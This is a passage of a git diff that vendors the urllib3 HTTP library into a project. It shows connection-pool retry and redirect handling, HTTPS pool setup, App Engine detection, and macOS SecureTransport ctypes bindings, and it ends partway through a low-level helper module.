if needed. Record current position + # for future rewinds in the event of a redirect/retry. + body_pos = set_file_position(body, body_pos) + + try: + # Request a connection from the queue. + timeout_obj = self._get_timeout(timeout) + conn = self._get_conn(timeout=pool_timeout) + + conn.timeout = timeout_obj.connect_timeout + + is_new_proxy_conn = self.proxy is not None and not getattr( + conn, "sock", None + ) + if is_new_proxy_conn and http_tunnel_required: + self._prepare_proxy(conn) + + # Make the request on the httplib connection object. + httplib_response = self._make_request( + conn, + method, + url, + timeout=timeout_obj, + body=body, + headers=headers, + chunked=chunked, + ) + + # If we're going to release the connection in ``finally:``, then + # the response doesn't need to know about the connection. Otherwise + # it will also try to release it and we'll have a double-release + # mess. + response_conn = conn if not release_conn else None + + # Pass method to Response for length checking + response_kw["request_method"] = method + + # Import httplib's response into our own wrapper object + response = self.ResponseCls.from_httplib( + httplib_response, + pool=self, + connection=response_conn, + retries=retries, + **response_kw + ) + + # Everything went great! + clean_exit = True + + except EmptyPoolError: + # Didn't get a connection from the pool, no need to clean up + clean_exit = True + release_this_conn = False + raise + + except ( + TimeoutError, + HTTPException, + SocketError, + ProtocolError, + BaseSSLError, + SSLError, + CertificateError, + ) as e: + # Discard the connection for these exceptions. It will be + # replaced during the next _get_conn() call. + clean_exit = False + + def _is_ssl_error_message_from_http_proxy(ssl_error): + # We're trying to detect the message 'WRONG_VERSION_NUMBER' but + # SSLErrors are kinda all over the place when it comes to the message, + # so we try to cover our bases here! + message = " ".join(re.split("[^a-z]", str(ssl_error).lower())) + return ( + "wrong version number" in message or "unknown protocol" in message + ) + + # Try to detect a common user error with proxies which is to + # set an HTTP proxy to be HTTPS when it should be 'http://' + # (ie {'http': 'http://proxy', 'https': 'https://proxy'}) + # Instead we add a nice error message and point to a URL. + if ( + isinstance(e, BaseSSLError) + and self.proxy + and _is_ssl_error_message_from_http_proxy(e) + and conn.proxy + and conn.proxy.scheme == "https" + ): + e = ProxyError( + "Your proxy appears to only use HTTP and not HTTPS, " + "try changing your proxy URL to be HTTP. See: " + "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" + "#https-proxy-error-http-proxy", + SSLError(e), + ) + elif isinstance(e, (BaseSSLError, CertificateError)): + e = SSLError(e) + elif isinstance(e, (SocketError, NewConnectionError)) and self.proxy: + e = ProxyError("Cannot connect to proxy.", e) + elif isinstance(e, (SocketError, HTTPException)): + e = ProtocolError("Connection aborted.", e) + + retries = retries.increment( + method, url, error=e, _pool=self, _stacktrace=sys.exc_info()[2] + ) + retries.sleep() + + # Keep track of the error for the retry warning. + err = e + + finally: + if not clean_exit: + # We hit some kind of exception, handled or otherwise. We need + # to throw the connection away unless explicitly told not to. + # Close the connection, set the variable to None, and make sure + # we put the None back in the pool to avoid leaking it. + conn = conn and conn.close() + release_this_conn = True + + if release_this_conn: + # Put the connection back to be reused. If the connection is + # expired then it will be None, which will get replaced with a + # fresh connection during _get_conn. + self._put_conn(conn) + + if not conn: + # Try again + log.warning( + "Retrying (%r) after connection broken by '%r': %s", retries, err, url + ) + return self.urlopen( + method, + url, + body, + headers, + retries, + redirect, + assert_same_host, + timeout=timeout, + pool_timeout=pool_timeout, + release_conn=release_conn, + chunked=chunked, + body_pos=body_pos, + **response_kw + ) + + # Handle redirect? + redirect_location = redirect and response.get_redirect_location() + if redirect_location: + if response.status == 303: + method = "GET" + + try: + retries = retries.increment(method, url, response=response, _pool=self) + except MaxRetryError: + if retries.raise_on_redirect: + response.drain_conn() + raise + return response + + response.drain_conn() + retries.sleep_for_retry(response) + log.debug("Redirecting %s -> %s", url, redirect_location) + return self.urlopen( + method, + redirect_location, + body, + headers, + retries=retries, + redirect=redirect, + assert_same_host=assert_same_host, + timeout=timeout, + pool_timeout=pool_timeout, + release_conn=release_conn, + chunked=chunked, + body_pos=body_pos, + **response_kw + ) + + # Check if we should retry the HTTP response. + has_retry_after = bool(response.headers.get("Retry-After")) + if retries.is_retry(method, response.status, has_retry_after): + try: + retries = retries.increment(method, url, response=response, _pool=self) + except MaxRetryError: + if retries.raise_on_status: + response.drain_conn() + raise + return response + + response.drain_conn() + retries.sleep(response) + log.debug("Retry: %s", url) + return self.urlopen( + method, + url, + body, + headers, + retries=retries, + redirect=redirect, + assert_same_host=assert_same_host, + timeout=timeout, + pool_timeout=pool_timeout, + release_conn=release_conn, + chunked=chunked, + body_pos=body_pos, + **response_kw + ) + + return response + + +class HTTPSConnectionPool(HTTPConnectionPool): + """ + Same as :class:`.HTTPConnectionPool`, but HTTPS. + + :class:`.HTTPSConnection` uses one of ``assert_fingerprint``, + ``assert_hostname`` and ``host`` in this order to verify connections. + If ``assert_hostname`` is False, no verification is done. + + The ``key_file``, ``cert_file``, ``cert_reqs``, ``ca_certs``, + ``ca_cert_dir``, ``ssl_version``, ``key_password`` are only used if :mod:`ssl` + is available and are fed into :meth:`urllib3.util.ssl_wrap_socket` to upgrade + the connection socket into an SSL socket. + """ + + scheme = "https" + ConnectionCls = HTTPSConnection + + def __init__( + self, + host, + port=None, + strict=False, + timeout=Timeout.DEFAULT_TIMEOUT, + maxsize=1, + block=False, + headers=None, + retries=None, + _proxy=None, + _proxy_headers=None, + key_file=None, + cert_file=None, + cert_reqs=None, + key_password=None, + ca_certs=None, + ssl_version=None, + assert_hostname=None, + assert_fingerprint=None, + ca_cert_dir=None, + **conn_kw + ): + + HTTPConnectionPool.__init__( + self, + host, + port, + strict, + timeout, + maxsize, + block, + headers, + retries, + _proxy, + _proxy_headers, + **conn_kw + ) + + self.key_file = key_file + self.cert_file = cert_file + self.cert_reqs = cert_reqs + self.key_password = key_password + self.ca_certs = ca_certs + self.ca_cert_dir = ca_cert_dir + self.ssl_version = ssl_version + self.assert_hostname = assert_hostname + self.assert_fingerprint = assert_fingerprint + + def _prepare_conn(self, conn): + """ + Prepare the ``connection`` for :meth:`urllib3.util.ssl_wrap_socket` + and establish the tunnel if proxy is used. + """ + + if isinstance(conn, VerifiedHTTPSConnection): + conn.set_cert( + key_file=self.key_file, + key_password=self.key_password, + cert_file=self.cert_file, + cert_reqs=self.cert_reqs, + ca_certs=self.ca_certs, + ca_cert_dir=self.ca_cert_dir, + assert_hostname=self.assert_hostname, + assert_fingerprint=self.assert_fingerprint, + ) + conn.ssl_version = self.ssl_version + return conn + + def _prepare_proxy(self, conn): + """ + Establishes a tunnel connection through HTTP CONNECT. + + Tunnel connection is established early because otherwise httplib would + improperly set Host: header to proxy's IP:port. + """ + + conn.set_tunnel(self._proxy_host, self.port, self.proxy_headers) + + if self.proxy.scheme == "https": + conn.tls_in_tls_required = True + + conn.connect() + + def _new_conn(self): + """ + Return a fresh :class:`http.client.HTTPSConnection`. + """ + self.num_connections += 1 + log.debug( + "Starting new HTTPS connection (%d): %s:%s", + self.num_connections, + self.host, + self.port or "443", + ) + + if not self.ConnectionCls or self.ConnectionCls is DummyConnection: + raise SSLError( + "Can't connect to HTTPS URL because the SSL module is not available." + ) + + actual_host = self.host + actual_port = self.port + if self.proxy is not None: + actual_host = self.proxy.host + actual_port = self.proxy.port + + conn = self.ConnectionCls( + host=actual_host, + port=actual_port, + timeout=self.timeout.connect_timeout, + strict=self.strict, + cert_file=self.cert_file, + key_file=self.key_file, + key_password=self.key_password, + **self.conn_kw + ) + + return self._prepare_conn(conn) + + def _validate_conn(self, conn): + """ + Called right before a request is made, after the socket is created. + """ + super(HTTPSConnectionPool, self)._validate_conn(conn) + + # Force connect early to allow us to validate the connection. + if not getattr(conn, "sock", None): # AppEngine might not have `.sock` + conn.connect() + + if not conn.is_verified: + warnings.warn( + ( + "Unverified HTTPS request is being made to host '%s'. " + "Adding certificate verification is strongly advised. See: " + "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" + "#ssl-warnings" % conn.host + ), + InsecureRequestWarning, + ) + + if getattr(conn, "proxy_is_verified", None) is False: + warnings.warn( + ( + "Unverified HTTPS connection done to an HTTPS proxy. " + "Adding certificate verification is strongly advised. See: " + "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" + "#ssl-warnings" + ), + InsecureRequestWarning, + ) + + +def connection_from_url(url, **kw): + """ + Given a url, return an :class:`.ConnectionPool` instance of its host. + + This is a shortcut for not having to parse out the scheme, host, and port + of the url before creating an :class:`.ConnectionPool` instance. + + :param url: + Absolute URL string that must include the scheme. Port is optional. + + :param \\**kw: + Passes additional parameters to the constructor of the appropriate + :class:`.ConnectionPool`. Useful for specifying things like + timeout, maxsize, headers, etc. + + Example:: + + >>> conn = connection_from_url('http://google.com/') + >>> r = conn.request('GET', '/') + """ + scheme, host, port = get_host(url) + port = port or port_by_scheme.get(scheme, 80) + if scheme == "https": + return HTTPSConnectionPool(host, port=port, **kw) + else: + return HTTPConnectionPool(host, port=port, **kw) + + +def _normalize_host(host, scheme): + """ + Normalize hosts for comparisons and use with sockets. + """ + + host = normalize_host(host, scheme) + + # httplib doesn't like it when we include brackets in IPv6 addresses + # Specifically, if we include brackets but also pass the port then + # httplib crazily doubles up the square brackets on the Host header. + # Instead, we need to make sure we never pass ``None`` as the port. + # However, for backward compatibility reasons we can't actually + # *assert* that. See http://bugs.python.org/issue28539 + if host.startswith("[") and host.endswith("]"): + host = host[1:-1] + return host diff --git a/function/http/package/urllib3/contrib/__init__.py b/function/http/package/urllib3/contrib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/function/http/package/urllib3/contrib/_appengine_environ.py b/function/http/package/urllib3/contrib/_appengine_environ.py new file mode 100644 index 0000000..8765b90 --- /dev/null +++ b/function/http/package/urllib3/contrib/_appengine_environ.py @@ -0,0 +1,36 @@ +""" +This module provides means to detect the App Engine environment. +""" + +import os + + +def is_appengine(): + return is_local_appengine() or is_prod_appengine() + + +def is_appengine_sandbox(): + """Reports if the app is running in the first generation sandbox. + + The second generation runtimes are technically still in a sandbox, but it + is much less restrictive, so generally you shouldn't need to check for it. + see https://cloud.google.com/appengine/docs/standard/runtimes + """ + return is_appengine() and os.environ["APPENGINE_RUNTIME"] == "python27" + + +def is_local_appengine(): + return "APPENGINE_RUNTIME" in os.environ and os.environ.get( + "SERVER_SOFTWARE", "" + ).startswith("Development/") + + +def is_prod_appengine(): + return "APPENGINE_RUNTIME" in os.environ and os.environ.get( + "SERVER_SOFTWARE", "" + ).startswith("Google App Engine/") + + +def is_prod_appengine_mvms(): + """Deprecated.""" + return False diff --git a/function/http/package/urllib3/contrib/_securetransport/__init__.py b/function/http/package/urllib3/contrib/_securetransport/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/function/http/package/urllib3/contrib/_securetransport/bindings.py b/function/http/package/urllib3/contrib/_securetransport/bindings.py new file mode 100644 index 0000000..264d564 --- /dev/null +++ b/function/http/package/urllib3/contrib/_securetransport/bindings.py @@ -0,0 +1,519 @@ +""" +This module uses ctypes to bind a whole bunch of functions and constants from +SecureTransport. The goal here is to provide the low-level API to +SecureTransport. These are essentially the C-level functions and constants, and +they're pretty gross to work with. + +This code is a bastardised version of the code found in Will Bond's oscrypto +library. An enormous debt is owed to him for blazing this trail for us. For +that reason, this code should be considered to be covered both by urllib3's +license and by oscrypto's: + + Copyright (c) 2015-2016 Will Bond + + Permission is hereby granted, free of charge, to any person obtaining a + copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + DEALINGS IN THE SOFTWARE. +""" +from __future__ import absolute_import + +import platform +from ctypes import ( + CDLL, + CFUNCTYPE, + POINTER, + c_bool, + c_byte, + c_char_p, + c_int32, + c_long, + c_size_t, + c_uint32, + c_ulong, + c_void_p, +) +from ctypes.util import find_library + +from ...packages.six import raise_from + +if platform.system() != "Darwin": + raise ImportError("Only macOS is supported") + +version = platform.mac_ver()[0] +version_info = tuple(map(int, version.split("."))) +if version_info < (10, 8): + raise OSError( + "Only OS X 10.8 and newer are supported, not %s.%s" + % (version_info[0], version_info[1]) + ) + + +def load_cdll(name, macos10_16_path): + """Loads a CDLL by name, falling back to known path on 10.16+""" + try: + # Big Sur is technically 11 but we use 10.16 due to the Big Sur + # beta being labeled as 10.16. + if version_info >= (10, 16): + path = macos10_16_path + else: + path = find_library(name) + if not path: + raise OSError # Caught and reraised as 'ImportError' + return CDLL(path, use_errno=True) + except OSError: + raise_from(ImportError("The library %s failed to load" % name), None) + + +Security = load_cdll( + "Security", "/System/Library/Frameworks/Security.framework/Security" +) +CoreFoundation = load_cdll( + "CoreFoundation", + "/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", +) + + +Boolean = c_bool +CFIndex = c_long +CFStringEncoding = c_uint32 +CFData = c_void_p +CFString = c_void_p +CFArray = c_void_p +CFMutableArray = c_void_p +CFDictionary = c_void_p +CFError = c_void_p +CFType = c_void_p +CFTypeID = c_ulong + +CFTypeRef = POINTER(CFType) +CFAllocatorRef = c_void_p + +OSStatus = c_int32 + +CFDataRef = POINTER(CFData) +CFStringRef = POINTER(CFString) +CFArrayRef = POINTER(CFArray) +CFMutableArrayRef = POINTER(CFMutableArray) +CFDictionaryRef = POINTER(CFDictionary) +CFArrayCallBacks = c_void_p +CFDictionaryKeyCallBacks = c_void_p +CFDictionaryValueCallBacks = c_void_p + +SecCertificateRef = POINTER(c_void_p) +SecExternalFormat = c_uint32 +SecExternalItemType = c_uint32 +SecIdentityRef = POINTER(c_void_p) +SecItemImportExportFlags = c_uint32 +SecItemImportExportKeyParameters = c_void_p +SecKeychainRef = POINTER(c_void_p) +SSLProtocol = c_uint32 +SSLCipherSuite = c_uint32 +SSLContextRef = POINTER(c_void_p) +SecTrustRef = POINTER(c_void_p) +SSLConnectionRef = c_uint32 +SecTrustResultType = c_uint32 +SecTrustOptionFlags = c_uint32 +SSLProtocolSide = c_uint32 +SSLConnectionType = c_uint32 +SSLSessionOption = c_uint32 + + +try: + Security.SecItemImport.argtypes = [ + CFDataRef, + CFStringRef, + POINTER(SecExternalFormat), + POINTER(SecExternalItemType), + SecItemImportExportFlags, + POINTER(SecItemImportExportKeyParameters), + SecKeychainRef, + POINTER(CFArrayRef), + ] + Security.SecItemImport.restype = OSStatus + + Security.SecCertificateGetTypeID.argtypes = [] + Security.SecCertificateGetTypeID.restype = CFTypeID + + Security.SecIdentityGetTypeID.argtypes = [] + Security.SecIdentityGetTypeID.restype = CFTypeID + + Security.SecKeyGetTypeID.argtypes = [] + Security.SecKeyGetTypeID.restype = CFTypeID + + Security.SecCertificateCreateWithData.argtypes = [CFAllocatorRef, CFDataRef] + Security.SecCertificateCreateWithData.restype = SecCertificateRef + + Security.SecCertificateCopyData.argtypes = [SecCertificateRef] + Security.SecCertificateCopyData.restype = CFDataRef + + Security.SecCopyErrorMessageString.argtypes = [OSStatus, c_void_p] + Security.SecCopyErrorMessageString.restype = CFStringRef + + Security.SecIdentityCreateWithCertificate.argtypes = [ + CFTypeRef, + SecCertificateRef, + POINTER(SecIdentityRef), + ] + Security.SecIdentityCreateWithCertificate.restype = OSStatus + + Security.SecKeychainCreate.argtypes = [ + c_char_p, + c_uint32, + c_void_p, + Boolean, + c_void_p, + POINTER(SecKeychainRef), + ] + Security.SecKeychainCreate.restype = OSStatus + + Security.SecKeychainDelete.argtypes = [SecKeychainRef] + Security.SecKeychainDelete.restype = OSStatus + + Security.SecPKCS12Import.argtypes = [ + CFDataRef, + CFDictionaryRef, + POINTER(CFArrayRef), + ] + Security.SecPKCS12Import.restype = OSStatus + + SSLReadFunc = CFUNCTYPE(OSStatus, SSLConnectionRef, c_void_p, POINTER(c_size_t)) + SSLWriteFunc = CFUNCTYPE( + OSStatus, SSLConnectionRef, POINTER(c_byte), POINTER(c_size_t) + ) + + Security.SSLSetIOFuncs.argtypes = [SSLContextRef, SSLReadFunc, SSLWriteFunc] + Security.SSLSetIOFuncs.restype = OSStatus + + Security.SSLSetPeerID.argtypes = [SSLContextRef, c_char_p, c_size_t] + Security.SSLSetPeerID.restype = OSStatus + + Security.SSLSetCertificate.argtypes = [SSLContextRef, CFArrayRef] + Security.SSLSetCertificate.restype = OSStatus + + Security.SSLSetCertificateAuthorities.argtypes = [SSLContextRef, CFTypeRef, Boolean] + Security.SSLSetCertificateAuthorities.restype = OSStatus + + Security.SSLSetConnection.argtypes = [SSLContextRef, SSLConnectionRef] + Security.SSLSetConnection.restype = OSStatus + + Security.SSLSetPeerDomainName.argtypes = [SSLContextRef, c_char_p, c_size_t] + Security.SSLSetPeerDomainName.restype = OSStatus + + Security.SSLHandshake.argtypes = [SSLContextRef] + Security.SSLHandshake.restype = OSStatus + + Security.SSLRead.argtypes = [SSLContextRef, c_char_p, c_size_t, POINTER(c_size_t)] + Security.SSLRead.restype = OSStatus + + Security.SSLWrite.argtypes = [SSLContextRef, c_char_p, c_size_t, POINTER(c_size_t)] + Security.SSLWrite.restype = OSStatus + + Security.SSLClose.argtypes = [SSLContextRef] + Security.SSLClose.restype = OSStatus + + Security.SSLGetNumberSupportedCiphers.argtypes = [SSLContextRef, POINTER(c_size_t)] + Security.SSLGetNumberSupportedCiphers.restype = OSStatus + + Security.SSLGetSupportedCiphers.argtypes = [ + SSLContextRef, + POINTER(SSLCipherSuite), + POINTER(c_size_t), + ] + Security.SSLGetSupportedCiphers.restype = OSStatus + + Security.SSLSetEnabledCiphers.argtypes = [ + SSLContextRef, + POINTER(SSLCipherSuite), + c_size_t, + ] + Security.SSLSetEnabledCiphers.restype = OSStatus + + Security.SSLGetNumberEnabledCiphers.argtype = [SSLContextRef, POINTER(c_size_t)] + Security.SSLGetNumberEnabledCiphers.restype = OSStatus + + Security.SSLGetEnabledCiphers.argtypes = [ + SSLContextRef, + POINTER(SSLCipherSuite), + POINTER(c_size_t), + ] + Security.SSLGetEnabledCiphers.restype = OSStatus + + Security.SSLGetNegotiatedCipher.argtypes = [SSLContextRef, POINTER(SSLCipherSuite)] + Security.SSLGetNegotiatedCipher.restype = OSStatus + + Security.SSLGetNegotiatedProtocolVersion.argtypes = [ + SSLContextRef, + POINTER(SSLProtocol), + ] + Security.SSLGetNegotiatedProtocolVersion.restype = OSStatus + + Security.SSLCopyPeerTrust.argtypes = [SSLContextRef, POINTER(SecTrustRef)] + Security.SSLCopyPeerTrust.restype = OSStatus + + Security.SecTrustSetAnchorCertificates.argtypes = [SecTrustRef, CFArrayRef] + Security.SecTrustSetAnchorCertificates.restype = OSStatus + + Security.SecTrustSetAnchorCertificatesOnly.argstypes = [SecTrustRef, Boolean] + Security.SecTrustSetAnchorCertificatesOnly.restype = OSStatus + + Security.SecTrustEvaluate.argtypes = [SecTrustRef, POINTER(SecTrustResultType)] + Security.SecTrustEvaluate.restype = OSStatus + + Security.SecTrustGetCertificateCount.argtypes = [SecTrustRef] + Security.SecTrustGetCertificateCount.restype = CFIndex + + Security.SecTrustGetCertificateAtIndex.argtypes = [SecTrustRef, CFIndex] + Security.SecTrustGetCertificateAtIndex.restype = SecCertificateRef + + Security.SSLCreateContext.argtypes = [ + CFAllocatorRef, + SSLProtocolSide, + SSLConnectionType, + ] + Security.SSLCreateContext.restype = SSLContextRef + + Security.SSLSetSessionOption.argtypes = [SSLContextRef, SSLSessionOption, Boolean] + Security.SSLSetSessionOption.restype = OSStatus + + Security.SSLSetProtocolVersionMin.argtypes = [SSLContextRef, SSLProtocol] + Security.SSLSetProtocolVersionMin.restype = OSStatus + + Security.SSLSetProtocolVersionMax.argtypes = [SSLContextRef, SSLProtocol] + Security.SSLSetProtocolVersionMax.restype = OSStatus + + try: + Security.SSLSetALPNProtocols.argtypes = [SSLContextRef, CFArrayRef] + Security.SSLSetALPNProtocols.restype = OSStatus + except AttributeError: + # Supported only in 10.12+ + pass + + Security.SecCopyErrorMessageString.argtypes = [OSStatus, c_void_p] + Security.SecCopyErrorMessageString.restype = CFStringRef + + Security.SSLReadFunc = SSLReadFunc + Security.SSLWriteFunc = SSLWriteFunc + Security.SSLContextRef = SSLContextRef + Security.SSLProtocol = SSLProtocol + Security.SSLCipherSuite = SSLCipherSuite + Security.SecIdentityRef = SecIdentityRef + Security.SecKeychainRef = SecKeychainRef + Security.SecTrustRef = SecTrustRef + Security.SecTrustResultType = SecTrustResultType + Security.SecExternalFormat = SecExternalFormat + Security.OSStatus = OSStatus + + Security.kSecImportExportPassphrase = CFStringRef.in_dll( + Security, "kSecImportExportPassphrase" + ) + Security.kSecImportItemIdentity = CFStringRef.in_dll( + Security, "kSecImportItemIdentity" + ) + + # CoreFoundation time! + CoreFoundation.CFRetain.argtypes = [CFTypeRef] + CoreFoundation.CFRetain.restype = CFTypeRef + + CoreFoundation.CFRelease.argtypes = [CFTypeRef] + CoreFoundation.CFRelease.restype = None + + CoreFoundation.CFGetTypeID.argtypes = [CFTypeRef] + CoreFoundation.CFGetTypeID.restype = CFTypeID + + CoreFoundation.CFStringCreateWithCString.argtypes = [ + CFAllocatorRef, + c_char_p, + CFStringEncoding, + ] + CoreFoundation.CFStringCreateWithCString.restype = CFStringRef + + CoreFoundation.CFStringGetCStringPtr.argtypes = [CFStringRef, CFStringEncoding] + CoreFoundation.CFStringGetCStringPtr.restype = c_char_p + + CoreFoundation.CFStringGetCString.argtypes = [ + CFStringRef, + c_char_p, + CFIndex, + CFStringEncoding, + ] + CoreFoundation.CFStringGetCString.restype = c_bool + + CoreFoundation.CFDataCreate.argtypes = [CFAllocatorRef, c_char_p, CFIndex] + CoreFoundation.CFDataCreate.restype = CFDataRef + + CoreFoundation.CFDataGetLength.argtypes = [CFDataRef] + CoreFoundation.CFDataGetLength.restype = CFIndex + + CoreFoundation.CFDataGetBytePtr.argtypes = [CFDataRef] + CoreFoundation.CFDataGetBytePtr.restype = c_void_p + + CoreFoundation.CFDictionaryCreate.argtypes = [ + CFAllocatorRef, + POINTER(CFTypeRef), + POINTER(CFTypeRef), + CFIndex, + CFDictionaryKeyCallBacks, + CFDictionaryValueCallBacks, + ] + CoreFoundation.CFDictionaryCreate.restype = CFDictionaryRef + + CoreFoundation.CFDictionaryGetValue.argtypes = [CFDictionaryRef, CFTypeRef] + CoreFoundation.CFDictionaryGetValue.restype = CFTypeRef + + CoreFoundation.CFArrayCreate.argtypes = [ + CFAllocatorRef, + POINTER(CFTypeRef), + CFIndex, + CFArrayCallBacks, + ] + CoreFoundation.CFArrayCreate.restype = CFArrayRef + + CoreFoundation.CFArrayCreateMutable.argtypes = [ + CFAllocatorRef, + CFIndex, + CFArrayCallBacks, + ] + CoreFoundation.CFArrayCreateMutable.restype = CFMutableArrayRef + + CoreFoundation.CFArrayAppendValue.argtypes = [CFMutableArrayRef, c_void_p] + CoreFoundation.CFArrayAppendValue.restype = None + + CoreFoundation.CFArrayGetCount.argtypes = [CFArrayRef] + CoreFoundation.CFArrayGetCount.restype = CFIndex + + CoreFoundation.CFArrayGetValueAtIndex.argtypes = [CFArrayRef, CFIndex] + CoreFoundation.CFArrayGetValueAtIndex.restype = c_void_p + + CoreFoundation.kCFAllocatorDefault = CFAllocatorRef.in_dll( + CoreFoundation, "kCFAllocatorDefault" + ) + CoreFoundation.kCFTypeArrayCallBacks = c_void_p.in_dll( + CoreFoundation, "kCFTypeArrayCallBacks" + ) + CoreFoundation.kCFTypeDictionaryKeyCallBacks = c_void_p.in_dll( + CoreFoundation, "kCFTypeDictionaryKeyCallBacks" + ) + CoreFoundation.kCFTypeDictionaryValueCallBacks = c_void_p.in_dll( + CoreFoundation, "kCFTypeDictionaryValueCallBacks" + ) + + CoreFoundation.CFTypeRef = CFTypeRef + CoreFoundation.CFArrayRef = CFArrayRef + CoreFoundation.CFStringRef = CFStringRef + CoreFoundation.CFDictionaryRef = CFDictionaryRef + +except (AttributeError): + raise ImportError("Error initializing ctypes") + + +class CFConst(object): + """ + A class object that acts as essentially a namespace for CoreFoundation + constants. + """ + + kCFStringEncodingUTF8 = CFStringEncoding(0x08000100) + + +class SecurityConst(object): + """ + A class object that acts as essentially a namespace for Security constants. + """ + + kSSLSessionOptionBreakOnServerAuth = 0 + + kSSLProtocol2 = 1 + kSSLProtocol3 = 2 + kTLSProtocol1 = 4 + kTLSProtocol11 = 7 + kTLSProtocol12 = 8 + # SecureTransport does not support TLS 1.3 even if there's a constant for it + kTLSProtocol13 = 10 + kTLSProtocolMaxSupported = 999 + + kSSLClientSide = 1 + kSSLStreamType = 0 + + kSecFormatPEMSequence = 10 + + kSecTrustResultInvalid = 0 + kSecTrustResultProceed = 1 + # This gap is present on purpose: this was kSecTrustResultConfirm, which + # is deprecated. + kSecTrustResultDeny = 3 + kSecTrustResultUnspecified = 4 + kSecTrustResultRecoverableTrustFailure = 5 + kSecTrustResultFatalTrustFailure = 6 + kSecTrustResultOtherError = 7 + + errSSLProtocol = -9800 + errSSLWouldBlock = -9803 + errSSLClosedGraceful = -9805 + errSSLClosedNoNotify = -9816 + errSSLClosedAbort = -9806 + + errSSLXCertChainInvalid = -9807 + errSSLCrypto = -9809 + errSSLInternal = -9810 + errSSLCertExpired = -9814 + errSSLCertNotYetValid = -9815 + errSSLUnknownRootCert = -9812 + errSSLNoRootCert = -9813 + errSSLHostNameMismatch = -9843 + errSSLPeerHandshakeFail = -9824 + errSSLPeerUserCancelled = -9839 + errSSLWeakPeerEphemeralDHKey = -9850 + errSSLServerAuthCompleted = -9841 + errSSLRecordOverflow = -9847 + + errSecVerifyFailed = -67808 + errSecNoTrustSettings = -25263 + errSecItemNotFound = -25300 + errSecInvalidTrustSettings = -25262 + + # Cipher suites. We only pick the ones our default cipher string allows. + # Source: https://developer.apple.com/documentation/security/1550981-ssl_cipher_suite_values + TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 = 0xC02C + TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 = 0xC030 + TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 = 0xC02B + TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 = 0xC02F + TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 = 0xCCA9 + TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 = 0xCCA8 + TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 = 0x009F + TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 = 0x009E + TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 = 0xC024 + TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 = 0xC028 + TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA = 0xC00A + TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA = 0xC014 + TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 = 0x006B + TLS_DHE_RSA_WITH_AES_256_CBC_SHA = 0x0039 + TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 = 0xC023 + TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 = 0xC027 + TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA = 0xC009 + TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA = 0xC013 + TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 = 0x0067 + TLS_DHE_RSA_WITH_AES_128_CBC_SHA = 0x0033 + TLS_RSA_WITH_AES_256_GCM_SHA384 = 0x009D + TLS_RSA_WITH_AES_128_GCM_SHA256 = 0x009C + TLS_RSA_WITH_AES_256_CBC_SHA256 = 0x003D + TLS_RSA_WITH_AES_128_CBC_SHA256 = 0x003C + TLS_RSA_WITH_AES_256_CBC_SHA = 0x0035 + TLS_RSA_WITH_AES_128_CBC_SHA = 0x002F + TLS_AES_128_GCM_SHA256 = 0x1301 + TLS_AES_256_GCM_SHA384 = 0x1302 + TLS_AES_128_CCM_8_SHA256 = 0x1305 + TLS_AES_128_CCM_SHA256 = 0x1304 diff --git a/function/http/package/urllib3/contrib/_securetransport/low_level.py b/function/http/package/urllib3/contrib/_securetransport/low_level.py new file mode 100644 index 0000000..fa0b245 --- /dev/null +++ b/function/http/package/urllib3/contrib/_securetransport/low_level.py @@ -0,0 +1,397 @@ +""" +Low-level helpers for the SecureTransport bindings. + +These are Python functions that are not directly related to the high-level APIs +but are necessary to get them to work. They include a whole bunch of low-level +CoreFoundation messing about and memory management. The concerns in this module +are almost entirely about trying to avoid memory leaks and providing +appropriate and useful assistance to the higher-level code. +""" +import base64 +import ctypes +import itertools +import os +import re +import ssl +import struct +import tempfile + +from .bindings import CFConst, CoreFoundation, Security + +# This regular expression is used to grab PEM data out of a PEM bundle. +_PEM_CERTS_RE = re.compile( + b"-----BEGIN CERTIFICATE-----\n(.*?)\n-----END CERTIFICATE-----", re.DOTALL +) + + +def _cf_data_from_bytes(bytestring): + """ + Given a bytestring, create a CFData object from it. This CFData object must + be CFReleased by the caller. + """ + return CoreFoundation.CFDataCreate( + CoreFoundation.kCFAllocatorDefault, bytestring, len(bytestring) + ) + + +def _cf_dictionary_from_tuples(tuples): + """ + Given a list of Python tuples, create an associated CFDictionary. + """ + dictionary_size = len(tuples) + + # We need to get the dictionary keys and values out in the same order. + keys = (t[0] for t in tuples) + values = (t[1] for t in tuples) + cf_keys = (CoreFoundation.CFTypeRef * 